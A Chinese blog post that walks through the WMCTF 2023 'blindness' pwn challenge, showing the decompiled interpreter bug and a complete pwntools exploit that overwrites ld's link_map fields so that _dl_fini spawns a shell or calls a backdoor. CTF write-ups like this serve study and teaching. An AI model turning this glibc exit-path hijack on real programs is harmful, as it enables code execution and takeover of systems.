2023-wmctf-pwn部分复现

本文最后更新于:2023年8月28日 下午

2023-wmctf-pwn部分复现

师傅们太强了,pwn题拿了三个一血。笔者这次比赛就看了两个题,jit与blindness。说实话,jit太难逆了,根本看不懂。blindness看着挺简单的,但是没啥利用思路。还是太菜了。

jit

参考笔者jit-pwn这篇文章。

blindness

查看保护。

image-20230828120349402

程序整体还是比较简单的。关键在executeBrainfuck 函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
int __cdecl executeBrainfuck(char *code)
{
char c[5]; // [rsp+13h] [rbp-5h]

c[4] = 0;
*(_DWORD *)c = (unsigned __int8)*code;
while ( *(int *)&c[1] <= 255 )
{
if ( c[0] == 'q' ) // q
return 0;
if ( c[0] <= 'q' )
{
if ( c[0] == '@' ) // @
{
data += *(unsigned int *)&code[*(int *)&c[1] + 1];
*(_DWORD *)&c[1] += 5;
}
else if ( c[0] <= '@' )
{
if ( c[0] == '>' ) // >
{
++data;
++*(_DWORD *)&c[1];
}
else if ( c[0] <= '>' )
{
if ( c[0] == '+' ) // +
{
data += 8;
++*(_DWORD *)&c[1];
}
else if ( c[0] == '.' ) // .
{
*data = code[*(int *)&c[1] + 1];
*(_DWORD *)&c[1] += 2;
}
}
}
}
c[0] = code[*(int *)&c[1]];
}
return 0;
}

这个函数实现了任意地址写一字节功能。

关键点在于往哪写?

由于没有限制申请堆块的大小,可以申请一块特别大内存,使用mmap分配,使得堆起始地址与libc或者ld等内存有固定偏移。然后我们可以写_rtld_global结构体的内容。

思路大概有三种:

第一种,覆盖_rtld_global结构体的exit_hook为one_gadget,需要爆破一定时间。

第二种,覆盖link_map结构体的dl_addr与dl_fini等字段,执行system(“/bin/sh\00”)。

第三种,与第二种类似,但是最后执行程序提供的backdoor。

第一种比较简单,这里大致说说后两种。

程序正常退出时,需要执行dl_fini等函数进行收尾工作。这里我们主要利用dl_fini函数。

dl_fini

image-20230828121724326

该函数会遍历link_map结构体,然后执行DT_FINI_ARRAYDT_FINI的函数。这里思路就是覆盖DT_FINI_ARRAY为空,然后覆盖DT_FINIdt_debug(思路二)或者覆盖DT_FINIdt_string (思路三)。再覆盖dt_addr为system与dt_debug的偏移或者backdoor与dt_string的偏移,最后爆破1/16即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#!/usr/bin/python
#encoding:utf-8

from pwn import *
from pwn import p64, p32, p16, p8

context.arch = 'amd64'
# context.log_level = 'debug'

fn = './main'
elf = ELF(fn)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
ld = ELF('/lib64/ld-linux-x86-64.so.2')

debug = 1
# if debug:
# p = process(fn)

# else:
# p = remote()


def dbg(s=''):
if debug:
gdb.attach(p, s)
pause()

else:
pass

lg = lambda x, y: log.success(f'{x}: {hex(y)}')

command = '''
dir ~/tools/glibc-source/glibc-2.31/elf/
b _dl_fini
'''

def write(offset, content):
data = b'@' + p32(offset)
for i in range(len(content)):
data += b'.' + p8(content[i])
data += b'>'
return data


ld_base_offset = 0x413ff0 # no-aslr
# ld_base_offset = 0x40dff0
binsh_offset = ld_base_offset + ld.sym['_rtld_global'] + 2312
link_map_offset = ld_base_offset + 0x2f190
dt_string = link_map_offset + 0x40 + 5 * 0x8
dt_fini = link_map_offset + 0x40 + 13 * 0x8
dt_fini_array = link_map_offset + 0x40 + 26 * 0x8

def attack():
p.sendafter('the data size', str(0x200000).encode())
p.sendafter('the code size', str(0x100).encode())

# dbg(command)

# payload = b''
# payload += write(binsh_offset, b"/bin/sh\x00")
# payload += write(link_map_offset - binsh_offset - 0x8, p64(0xffffffffffe10130)) # no-aslr
# # payload += write(link_map_offset - binsh_offset - 0x8, p64(0xffffffffffe16100))
# payload += write(dt_fini - link_map_offset - 0x8, p16(0x7e58)) # exploit
# payload += b'>' * 0x6
# payload += write(dt_fini_array - dt_fini - 8, p64(0))
# payload += b'q'

# p.sendafter('input your code', payload)

# p.sendline('cat flag')
# data = p.recvuntil('}', timeout=1)
# print(data)

# p.interactive()

payload = b''
payload += write(link_map_offset, p64(0xd09)) # backdoor -> dt_string
payload += write(dt_fini - link_map_offset - 0x8, p16(0x7e18)) # exploit
payload += b'>' * 0x6
payload += write(dt_fini_array - dt_fini - 8, p64(0))
payload += b'q'
p.sendafter('input your code', payload)

data = p.recvuntil('}', timeout=1)
print(data)


if __name__ == '__main__':
while True:
try:
p = process(fn)
attack()
break

except:
p.close()
# exit(-1)

image-20230828123347696


2023-wmctf-pwn部分复现
http://example.com/2023/08/24/2023-wmctf-pwn部分复现/
作者
l1s00t
发布于
2023年8月24日
更新于
2023年8月28日
许可协议